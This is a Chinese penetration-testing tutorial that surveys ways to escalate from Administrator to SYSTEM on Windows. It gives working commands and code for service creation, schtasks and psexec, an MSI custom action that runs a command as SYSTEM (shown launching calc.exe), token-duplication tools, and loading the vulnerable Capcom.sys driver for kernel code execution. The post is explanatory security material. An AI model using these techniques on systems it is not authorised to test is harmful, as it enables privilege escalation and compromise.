渗透技巧——从 Admin 权限切换到 System 权限

发布于 2024-09-28 13:16:11 字数 7409 浏览 16 评论 0

0x00 前言

在渗透测试中,某些情况下需要用到 system 权限,例如操作注册表 HKEY_LOCAL_MACHINE\SAM\SAM

恰巧最近看到了一篇文章介绍了几种获得 system 权限的方法,于是决定结合自己的经验对这方面的技巧做系统整理

当然,前提是已经获得系统的管理员权限

学习链接:https://blog.xpnsec.com/becoming-system/

0x01 简介

本文将要介绍以下内容:

  • 通过创建服务获得 System 权限的方法
  • 利用 MSIExec 获得 System 权限的方法
  • 利用 token 复制获得 System 权限的方法
  • 利用 Capcom.sys 获得 System 权限的方法

0x02 通过创建服务获得 System 权限

1、通过 sc 命令实现

sc Create TestService1 binPath= "cmd /c start" type= own type= interact
sc start TestService1

该方法在 XP 系统可以使用

Win7 下使用时控制台提示:警告: 服务 TestService1 被配置为交互式服务,其支持正受到抨击。该服务可能无法正常起作用。

服务启动时弹框,需要点击查看消息才能执行代码,如下图

Alt text

Win8 下控制台提示错误,无法使用该方法

2、通过计划任务

使用 at 命令:at 7:50 notepad.exe

默认以 system 权限启动,适用于 Win7

从 Win8 开始不再支持 at 命令

使用 schtasks 命令:

  • 创建服务,以 system 权限启动:schtasks /Create /TN TestService2 /SC DAILY /ST 00:36 /TR notepad.exe /RU SYSTEM
  • 查看服务状态:schtasks /Query /TN TestService2
  • 删除服务:schtasks /Delete /TN TestService2 /F

注:使用 schtasks 创建服务后记得手动删除

schtasks 命令支持 Win7-Win10

3、利用 psexec

使用 psexec 会创建 PSEXESVC 服务,产生日志 Event 4697、Event 7045、Event 4624 和 Event 4652

以 system 权限启动:psexec.exe -accepteula -s -d notepad.exe

默认情况下,system 权限的进程不会在用户桌面显示,如果需要显示进程界面,可以加 /i 参数,命令如下:psexec.exe -accepteula -s -i -d notepad.exe

如下图

Alt text

4、Meterpreter

参考 Meterpreter 的方法:

  • 创建 system 权限的服务,提供一个命名管道
  • 创建进程,连接到该命名管道

可供参考的代码:https://github.com/xpn/getsystem-offline

需要 getsystem-offline.exe 和 getsystem_service.exe

测试如下图

Alt text

注:vs2012 直接编译存在 bug,可将函数 snprintf 替换为 _snprintf

0x03 利用 MSIExec 获得 System 权限

我曾在之前的文章 《渗透测试中的 msiexec》 介绍过利用 Advanced Installer 制作 msi 文件的方法,这里不再赘述

本节对 XPN 提到的方法做复现,使用 wix3 制作 msi 文件

wix3 下载地址:https://github.com/wixtoolset/wix3

msigen.wix 的代码可参考如下地址:https://gist.github.com/xpn/d1ef20dfd266053227d3e992ae84c64e

编译命令如下:

candle.exe msigen.wix
torch.exe msigen.wixobj

我对 XPN 的代码做了修改,将 payload 替换为执行 calc.exe,细节上做了部分修改,代码如下:

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
  <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product 
Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
    <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
    <Media Id="1" />

    <Directory Id="TARGETDIR" Name="SourceDir">
      <Directory Id="ProgramFilesFolder">
        <Directory Id="INSTALLLOCATION" Name="Example">
          <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">     
          </Component>
        </Directory>
      </Directory>
    </Directory>

    <Feature Id="DefaultFeature" Level="1">
      <ComponentRef Id="ApplicationFiles"/>
    </Feature>

    <Property Id="cmdline">calc.exe
    </Property>

    <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" 
ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>

    <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
      invalid vbs to fail install
    </CustomAction>

    <InstallExecuteSequence>
      <Custom Action="SystemShell" After="InstallInitialize"></Custom>
      <Custom Action="FailInstall" Before="InstallFiles"></Custom>
    </InstallExecuteSequence>

  </Product>
</Wix>

经过我的测试,使用 torch.exe 将 msigen.wixobj 编译成 msigen.msi 文件会报错,如下图

Alt text

使用 light.exe 能够成功生成 msigen.msi,如下图

Alt text

虽然报错,但不影响文件的生成和功能的执行

也就是说,完整编译命令如下:

candle.exe msigen.wix
light.exe msigen.wixobj

直接双击执行 msigen.msi 会弹框,启动的 calc.exe 为 system 权限

命令行下执行:msiexec /q /i msigen.msi

启动的 calc.exe 为 high 权限

0x04 利用 token 复制获得 System 权限

可参考之前的文章: 《渗透技巧——Token 窃取与利用》

通过复制 system 权限的 token,使进程获得 system 权限,常用工具如下:

1、incognito

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

2、Invoke-TokenManipulation.ps1

Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

3、SelectMyParent

SelectMyParent.exe cmd.exe 504

参考地址:https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/SelectMyParent.cpp

Author: Didier Stevens

注:SelectMyParent 的原理同 xpn 开源的代码(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method) 相同,地址如下:https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6

0x05 利用 Capcom.sys 获得 System 权限的方法

Capcom.sys 是游戏公司 Capcom 的《街头霸王 5》中用来反作弊的驱动程序,带有 Capcom 公司的签名,存在漏洞可以执行内核代码

下载地址:https://github.com/3gstudent/test/blob/master/Capcom.sys

SHA1: c1d5cf8c43e7679b782630e93f5e6420ca1749a7

适用于 Win7x64

1、在当前系统创建服务

需要管理员权限

sc create Capcom type= kernel binPath= C:\test\Capcom.sys
sc start Capcom

2、执行漏洞利用程序

普通用户权限即可

可供参考的的代码:https://github.com/tandasat/ExploitCapcom

0x06 小结

本文对常用的 System 权限获取方法做了整理,最后感谢 xpn 的博客和他的开源代码。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

伊面

暂无简介

文章
评论
25 人气
更多

推荐作者

七七

文章 0 评论 0

囍笑

文章 0 评论 0

盛夏尉蓝

文章 0 评论 0

ゞ花落谁相伴

文章 0 评论 0

Sherlocked

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文